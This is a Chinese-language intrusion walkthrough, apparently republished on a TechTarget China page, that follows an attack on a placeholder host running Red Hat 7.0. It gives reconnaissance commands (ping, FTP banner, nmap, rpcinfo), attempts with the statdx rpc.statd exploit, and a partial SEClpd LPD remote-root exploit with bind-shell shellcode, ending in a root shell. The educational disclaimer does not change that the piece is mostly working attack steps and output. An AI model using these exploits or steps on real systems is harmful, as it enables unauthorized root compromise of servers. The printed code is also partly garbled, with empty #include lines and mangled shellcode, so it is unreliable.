此文的目的不在于教人入侵,而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白:由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD:网络打印服务的攻击而进行的。
首先确定目标,假设是:www.XXX.com
先让俺看看是不是连得上:
C:ping www.XXX.com
Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:
Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms
嘻嘻—不但连得上,速度还不错……
先telnet看看banner:
C:>telnet www.XXX.com
遗失对主机的连接。
再试试ftp,
C:>ftp www.XXX.com
Connected to www.fbi.gov.tw.
220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
User (www.XXX.com:(none)):
wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下,连上俺的跳板:
C:>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04$
拿nmap扫描器,看看其中的奥妙~~~
bash-2.04$nmap -sT -O www.XXX.com
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
WARNING! The following files exist and are readable: /usr/local/sha
-services and ./nmap-services. I am choosing /usr/local/share/nmap/
s for security reasons. set NMAPDIR=. to give priority to files in
irectory
Interesting ports on (www.XXX.com):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm
TCP Sequence Prediction: Class=random positive increments
Difficulty=3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 – 2.2.16
Nmap run completed — 1 IP address (1 host up) scanned in 9 seconds
打开的端口还挺多,这意味着入侵的可能性增加。79/tcp open finger ,先看看这个,不过linux没有finger用户列表这个漏洞。
bash-2.04$finger @www.XXX.com
[www.XXX.com]
No one logged on.
再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!
bash-2.04$rpcinfo -p www.XXX.com
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status
看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 Redhat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)
看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……
bash-2.04$stat -d 0 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed – statd returned res_stat: (failure) state: 21
受挫,再试……
bash-2.04$stat -d 1 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed – statd returned res_stat: (failure) state: 21
一样!继续……
bash-2.04$stat -d 1 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed – statd returned res_stat: (failure) state: 21
rpc.statd行不通,想想RH7应该有个远程溢出,好像是lp服务造成的。“seclpd.c”应该是这个东东了。
—————以下代码仅供教学使用,决不能用来进行恶意攻击—————
/*
* Welcome to http://hlc.cnroot.com/
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPcount 200
#define SHELLCODE_count 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000
char shellcode[] =
”x31xdbx31xc9x31xc0xb0x46xcdx80″
”x89xe5x31xd2xb2x66x89xd0x31xc9x89xcbx43x89x5dxf8″
”x43x89x5dxf4x4bx89x4dxfcx8dx4dxf4xcdx80x31xc9x89″
”x45xf4x43x66x89x5dxecx66xc7x45xeex0fx27x89x4dxf0″
”x8dx45xecx89x45xf8xc6x45xfcx10x89xd0x8dx4dxf4xcd”
”x80x89xd0x43x43xcdx80x89xd0x43xcdx80x89xc3x31xc9″
”xb2x3fx89xd0xcdx80x89xd0x41xcdx80xebx18x5ex89x75″
”x08x31xc0x88x46x07x89x45x0cxb0x0bx89xf3x8dx4dx08″
”x8dx55x0cxcdx80xe8xe3xffxffxff/bin/sh”;
brute暴力破解。等上5-8分钟左右,结果出来了。
– [+] shell located on www.XXX.com
- [+] Enter Commands at will
Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)
uid=0(root权限),现在可以近一步入侵!但不要做坏事!
我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。
我原创,你原创,我们的内容世界才会更加精彩!
【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】
微信公众号
TechTarget
官方微博
TechTarget中国
作者
相关推荐
-
企业如何判断系统是否仍在使用Windows SMB v1?
US-CERT最近提醒用户不要使用Windows Server Message Block的过时版本,例如Windows SMB v1。那么,企业该怎样判断Windows SMB v1是否仍其系统中呢?
-
微软为Windows 10安全功能操碎了心,效果如何?
微软为Windows 10的安全功能可谓费尽心机,且该公司常称它是迄今为止最安全的Windows系统……
-
长江电力:从主机入手 直击安全核心
中国长江电力股份有限公司为保障葛洲坝、三峡工程等重点项目发电机组运行数据的安全,采用了浪潮SSR操作系统安全增强系统对AIX操作系统和Oracle RAC数据库进行安全加固。
-
企业数据库安全“三维度”保障
无论任何时代,企业数据库都是信息安全工作者不可忽略的危险地带。管理员在设计安全模型时要同时考虑到安全性和可用性。